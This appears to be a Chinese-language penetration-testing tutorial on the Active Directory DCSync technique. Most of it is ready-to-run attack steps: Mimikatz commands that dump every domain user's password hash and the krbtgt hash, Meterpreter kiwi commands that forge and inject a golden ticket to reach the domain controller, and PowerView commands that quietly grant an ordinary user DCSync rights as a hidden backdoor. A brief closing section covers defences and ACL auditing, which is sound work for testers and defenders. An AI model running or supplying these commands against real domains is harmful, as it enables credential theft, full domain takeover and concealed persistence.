一、原理?
DCSync 是域滲透中經常會用到的技術,其被整合在了 Mimikatz 中。在 DCSync 功能出現之前,要想獲得域用戶的哈希,需要登錄域控制器,在域控制器上執行代碼才能獲得域用戶的哈希。
Mimikatz的DCSync 功能:
該功能可以模仿一個域控制器,從真實的域控制器中請求數據,例如用戶的哈希。該功能最大的特點就是不用登陸域控制器,即可遠程通過域數據同步復制的方式獲得域控制器上的的數據。
在默認情況下,只有 Administrators、Domain Controllers 和 Enterprise Domain Admins 組內的用戶有權限使用 DCSync,但我們可以對域內普通用戶添加 ACL (Access Control List) 實現普通用戶也能調用 DCSync 功能。
權限維持思路:
????????當獲得了域內管理員權限,如果能修改域內普通用戶的權限,使其具有DCSync權限的話,那么普通域用戶也能導出域內用戶的哈希,這樣可以做一個隱蔽的權限維持。默認只有域控主機賬號和域管理員能Dcsync,域管和郵件服務器的機器賬號有寫ACL的權限,可以給指定用戶添加Dcsync來dump域哈希。
二、實際操作
利用 DCSync 導出域內哈希
當我們獲取相應的權限后,可以利用 DCSync 功能導出域內用戶的哈希值。其原理就是利用 DRS (Directory Replication Service)協議通過 IDL_DRSGetNCChanges 從域控制器復制用戶哈希憑據。獲得了域內用戶的哈希后可以進一步利用。
通過 Mimikatz導出【還有其他的方法】
在獲取權限的域成員主機上執行如下:
# 導出域內指定用戶的信息(包括哈希值) lsadump::dcsync /domain:whoamianony.org /user:administrator lsadump::dcsync /domain:whoamianony.org /user:administrator /csv# 導出域內所有用戶的信息(包括哈希值) lsadump::dcsync /domain:whoamianony.org /all ? ? lsadump::dcsync /domain:whoamianony.org /all /csv
利用 DCSync 制作黃金票據
在域滲透中,我們可以通過 DCSync 導出域控制器中 krbtgt 賬戶的哈希,并利用 krbtgt 賬戶的哈希制作黃金票據。
黃金票據的詳情請看:《內網滲透測試:Kerberos協議相關安全問題分析與利用》
測試環境如下:
假設攻擊者已經拿下了內網主機 Windows 10,下面演示如何在內網中利用 DCSync 制作黃金票據來訪問 DC 上的資源。
拿下 Windows 10 主機之后,我們加載 kiwi 模塊:
load kiwi
然后通過kiwi_cmd
執行 Mimikatz 命令,使用 Mimikatz 的 DCSync 功能導出域控制器中 krbtgt 賬戶的哈希:
kiwi_cmd "lsadump::dcsync /domain:whoamianony.org /user:krbtgt"
然后我們便可以通過 krbtgt 賬戶的哈希生成黃金票據了:
golden_ticket_create -u Administrator -d whoamianony.org -s S-1-5-21-1315137663-3706837544-1429009142 -k 6be58bfcc0a164af2408d1d3bd313c2a -t gold.tck
執行后生成的票據會咱是存放在你的 Kali 上,然后清空目標主機上的票據:
kerberos_ticket_purge
最后使用kerberos_ticket_use
注入剛才生成的票據即可:
kerberos_ticket_use gold.tck
如上圖所示,票據成功注入。此時,攻擊者就可以利用 Windows 7 任意訪問域控上的資源了:
dir \\DC\c$
有了黃金票據之后的操作就簡單了,懂得都懂!
利用 DCSync 進行域內權限維持
要想利用 DCSync 功能,得要擁有 Administrators、Domain Controllers 或 Enterprise Domain Admins 組內的用戶權限,因此就讓普通域用戶擁有 DCSync 的操作權限,那么普通域用戶也能導出域內用戶的信息了,這樣可以可以做一個隱蔽的后門進行權限維持。
具體做法就是為普通域用戶添加三條 ACE 訪問權限控制項,賦予任意以下任一用戶的權限:
- Domain Admins組內的用戶
- Enterprise Admins組內的用戶
DS-Replication-Get-Changes(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
DS-Replication-Get-Changes-All(GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
DS-Replication-Get-Changes(GUID:89e95b76-444d-4c62-991a-0facbeda640c)
我們可以通過 Empire 框架中的 PowerView.ps1 腳本實現:
Import-Module .\powerview.ps1 ? # 為域用戶 whoami 添加以上三條 ACE Add-DomainObjectAcl -TargetIdentity "DC=whoamianony,DC=org" -PrincipalIdentity whoami -Rights DCSync -Verbose
三、DCSync 的防御
DCSync 攻擊的原理是模擬域控制器與域控制器之間的數據同步復制。最好的防御方法是給控制器設置白名單,將可信任的資產設置在允許同步的白名單內。
除此之外,我們還應嘗試枚舉 Active Directory 中所有用戶的 ACL 查詢出所有特權帳戶,檢測域內被添加 DCSync 權限的用戶。Github 上有一個項目?ACLight便提供了這樣的功能,只需執行項目中的 Execute-ACLight2.bat,便會生成以下三個文件:
Privileged Accounts - Layers Analysis.txt
Privileged Accounts Permissions - Final Report.csv
Privileged Accounts Permissions - Irregular Accounts.csv
文件中會顯示出所有特權帳戶。